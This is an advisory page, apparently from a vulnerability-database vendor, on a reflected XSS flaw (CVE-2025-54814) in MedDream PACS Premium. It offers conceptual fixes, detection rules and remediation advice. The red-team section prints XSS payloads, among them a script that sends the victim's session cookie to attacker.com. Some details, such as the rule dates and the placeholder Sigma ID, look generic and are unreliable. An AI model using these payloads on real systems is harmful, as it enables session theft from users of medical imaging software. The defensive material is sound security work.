CVE-2025-54814
Executive Summary
CVE-2025-54814 is a reflected cross-site scripting (XSS) vulnerability in MedDream PACS Premium version 7.3.6.870. The flaw resides in the modifyAutopurgeFilter functionality, allowing an attacker to inject arbitrary JavaScript code via a specially crafted URL. With a CVSS score of 6.1 (Medium), this vulnerability requires user interaction but can lead to session hijacking, data theft, or further compromise within the PACS environment. No patch is currently available, and exploitation is publicly known.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone application vulnerability in MedDream PACS Premium, a medical imaging software. No supply chain implications are identified.
CVSS Breakdown & Threat Level
- CVSS Score: 6.1 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: Required (UI:R) – Victim must click a crafted link.
- Scope: Changed (S:C) – Impact may extend beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – Limited data exposure.
- Integrity Impact: Low (I:L) – Limited modification possible.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: Medium. Exploitation requires user interaction, but the lack of a patch and public PoC increases risk for unpatched systems.
Deep Dive & Mechanics
The vulnerability exists in the modifyAutopurgeFilter endpoint of MedDream PACS Premium. This functionality likely handles autopurge filter settings for image management. The application fails to properly sanitize user-supplied input in the URL parameters, allowing an attacker to inject malicious JavaScript code.
Root Cause: Insufficient input validation and output encoding. The application reflects user input directly into the response without proper escaping, enabling XSS.
Attack Flow:
- Attacker crafts a malicious URL containing JavaScript payload in a parameter (e.g.,
?filter=<script>alert('XSS')</script>). - Attacker lures a victim (e.g., via phishing email) to click the link.
- Victim’s browser executes the injected script in the context of the MedDream PACS application.
- Attacker can steal session cookies, perform actions on behalf of the victim, or exfiltrate sensitive data.
Impact: An attacker could gain unauthorized access to PACS data, modify settings, or pivot to internal systems.
Vulnerable vs. Patched Code
Since no patch is available, a hypothetical fix would involve proper output encoding and input validation.
Vulnerable Code (Conceptual):
// Vulnerable: Direct reflection of user input
$filter = $_GET['filter'];
echo "<div>Current filter: $filter</div>";
Patched Code (Conceptual):
// Patched: HTML entity encoding
$filter = htmlspecialchars($_GET['filter'], ENT_QUOTES, 'UTF-8');
echo "<div>Current filter: $filter</div>";
Key Differences:
- Vulnerable code does not sanitize input.
- Patched code uses
htmlspecialchars()to encode special characters, preventing script execution.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- Target running MedDream PACS Premium 7.3.6.870.
- Victim with access to the application.
Exploit Payload:
<script>alert('XSS')</script>
Crafted URL:
http://target/modifyAutopurgeFilter?filter=<script>alert('XSS')</script>
Advanced Payload (Session Hijacking):
<script>
document.location='http://attacker.com/steal?cookie='+document.cookie;
</script>
Lab Setup:
- Deploy MedDream PACS Premium 7.3.6.870 in a controlled environment.
- Use a browser to access the crafted URL.
- Observe JavaScript execution.
Blue Team (Defender)
Detection:
- Monitor web logs for suspicious URL parameters containing
<script>tags. - Use WAF rules to block XSS patterns.
Mitigation:
- Apply input validation and output encoding.
- Implement Content Security Policy (CSP) headers.
- Restrict access to the vulnerable endpoint.
Indicators of Compromise (IOCs)
- URL Patterns:
*/modifyAutopurgeFilter?filter=*<script>* - Network Traffic: Outbound connections to attacker-controlled domains from the PACS server.
- Log Entries: HTTP 200 responses with reflected script tags in the body.
- File Artifacts: None specific.
Detection Engineering
YARA Rule
rule CVE_2025_54814_XSS {
meta:
description = "Detects reflected XSS attempts against MedDream PACS modifyAutopurgeFilter"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-54814"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/i
$url_pattern = /modifyAutopurgeFilter\?filter=/
condition:
$url_pattern and $xss_payload
}
Sigma Rule
title: Reflected XSS Attempt on MedDream PACS modifyAutopurgeFilter
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects reflected XSS attempts targeting CVE-2025-54814
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: '/modifyAutopurgeFilter?filter='
cs-uri-query|re: '<script[^>]*>.*?</script>'
condition: selection
falsepositives:
- Legitimate use of script tags in testing
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-54814 Reflected XSS in MedDream PACS modifyAutopurgeFilter"; flow:to_server; content:"/modifyAutopurgeFilter?filter="; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable vulnerable endpoint if possible, or restrict access via firewall/WAF.
- Implement WAF rules to block XSS patterns (e.g.,
<script>tags in URL parameters). - Educate users about phishing risks and not clicking suspicious links.
Long-term Fix:
- Apply input validation and output encoding (e.g., HTML entity encoding).
- Use Content Security Policy (CSP) headers to restrict script execution.
- Monitor vendor for official patch and apply when available.
Workaround:
- If source code is accessible, manually patch the
modifyAutopurgeFilterfunction to sanitize input.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.